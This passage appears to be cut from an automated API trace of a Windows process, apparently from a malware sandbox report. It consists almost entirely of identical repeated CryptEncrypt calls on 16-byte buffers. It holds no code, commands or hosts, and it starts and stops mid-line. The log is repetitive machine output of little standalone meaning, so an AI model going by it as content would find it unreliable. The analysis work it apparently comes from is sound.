pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.322] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.323] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.324] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.325] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.326] CryptEncrypt (in: 